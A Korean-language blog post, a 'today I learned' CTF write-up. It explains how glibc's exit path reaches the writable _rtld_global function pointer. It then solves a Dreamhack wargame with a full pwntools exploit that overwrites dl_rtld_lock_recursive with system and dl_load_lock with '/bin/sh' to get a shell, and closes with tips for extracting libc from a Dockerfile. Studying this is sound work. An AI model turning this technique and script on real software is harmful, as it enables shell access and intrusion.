TIL: Overwriting  rtld global, Getting libc from Dockerfile

_rtld_global

프로그램 종료 과정

아래와 같은 C 프로그램이 종료되는 과정을 살펴보자.

int main() {
  return 0;
}
  1. stack 최상단에 있는 __libc_start_main+231을 실행한다.
  2. __libc_start_main+231__GI_exit 함수를 호출한다.
  3. __GI_exit__run_exit_handlers를 실행한다.
  4. __run_exit_handlers의 코드

     void
     attribute_hidden
     __run_exit_handlers (int status, struct exit_function_list **listp,
     		     bool run_list_atexit, bool run_dtors)
     {
     	  const struct exit_function *const f = &cur->fns[--cur->idx];
     	  switch (f->flavor)
     	    {
     	      void (*atfct) (void);
     	      void (*onfct) (int status, void *arg);
     	      void (*cxafct) (void *arg, int status);
     	    case ef_free:
     	    case ef_us:
     	      break;
     	    case ef_on:
     	      onfct = f->func.on.fn;
     #ifdef PTR_DEMANGLE
     	      PTR_DEMANGLE (onfct);
     #endif
     	      onfct (status, f->func.on.arg);
     	      break;
     	    case ef_at:
     	      atfct = f->func.at;
     #ifdef PTR_DEMANGLE
     	      PTR_DEMANGLE (atfct);
     #endif
     	      atfct ();
     	      break;
     	    case ef_cxa:
     	      cxafct = f->func.cxa.fn;
     #ifdef PTR_DEMANGLE
     	      PTR_DEMANGLE (cxafct);
     #endif
     	      cxafct (f->func.cxa.arg, status);
     	      break;
     	    }
     	}
    
    • exit_function structure의 member variable에 따라 함수를 호출한다. return을 실행해 프로그램을 종료할 경우 _dl_fini를 호출한다.
  5. _dl_fini의 코드

     # define __rtld_lock_lock_recursive(NAME) \
       GL(dl_rtld_lock_recursive) (&(NAME).mutex)
          
     void
     _dl_fini (void)
     {
     #ifdef SHARED
       int do_audit = 0;
      again:
     #endif
       for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
         {
           /* Protect against concurrent loads and unloads.  */
           __rtld_lock_lock_recursive (GL(dl_load_lock));
    
    • __rtld_lock_lock_recursive_dl_load_lock을 인자로 실행한다.
    • 매크로를 살펴 보면 __rtld_lock_lock_recursivedl_rtld_lock_recursive라는 함수 pointer이다.
    • dl_rtld_lock_recursive_rtld_global이라는 struct의 member variable로, rtld_lock_default_lock_recursive라는 함수의 주소를 저장하고 있다. 이 함수 포인터가 저장된 영역은 읽기 및 쓰기 권한이 존재하기 때문에 dl_rtld_lock_recursive를 overwrite할 수 있다.

Exploit 방법

프로그램 종료 과정 중에 실행되는 __rtld_lock_lock_recursive (GL(dl_load_lock));가 shell을 실행하도록 dl_rtld_lock_recursivedl_load_lock을 각각 system, "/bin/sh"로 overwrite한다.

Wargame: Overwrite _rtld_global

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

Vulnerability Scanning

  • *(long long *)addr = data; → Arbitrary address writing is available
  • printf("stdout: %p\n", stdout); → Can get libc_base

Exploit

from pwn import *

#p = process(["./ow_rtld"], env={'LD_PRELOAD':'./libc-2.27.so_18.04.3'})
p = remote("host3.dreamhack.games", 13163)
#gdb.attach(p)
#libc = ELF("./libc-2.27.so_18.04.3")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

p.recvuntil("stdout: ")

stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols["_rtld_global"]
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols["system"]

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64(b"/bin/sh\x00")))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendafter("> ", "2")

p.interactive()
  • gdb를 이용해 libc_base와 ld_base 사이의 offset, 그리고 ld_base로부터의 rtld_global까지의 offset을 구한다.
  • Arbitrary address writing을 이용해 __dl_load_lock"/bin/sh", __dl_rtld_lock_recursivesystem으로 overwrite한다.

번외: Dockefile에서 libc, ld 파일 빼내오기

문제에서 제공되는 Dockerfile에서 libc 파일과 ld 파일을 빼내오는 방법을 몰라 꽤 헤맸었다.. 방법을 여기에 적어둔다.

  1. Dockerfile build하기 - Dockerfile이 있는 directory에서 docker build -t temp:1 .
  2. Image run하기 - docker run [image ID]
  3. cmd를 administrator mode로 실행하기
  4. docker cp <옵션> <호스트 내부 파일 경로> <컨테이너 명>:<컨테이너 디렉토리 경로>

    이때 만약 symlink 파일이 생성된다면 -L option을 추가해보자.

Categories: ,

Updated:

Leave a comment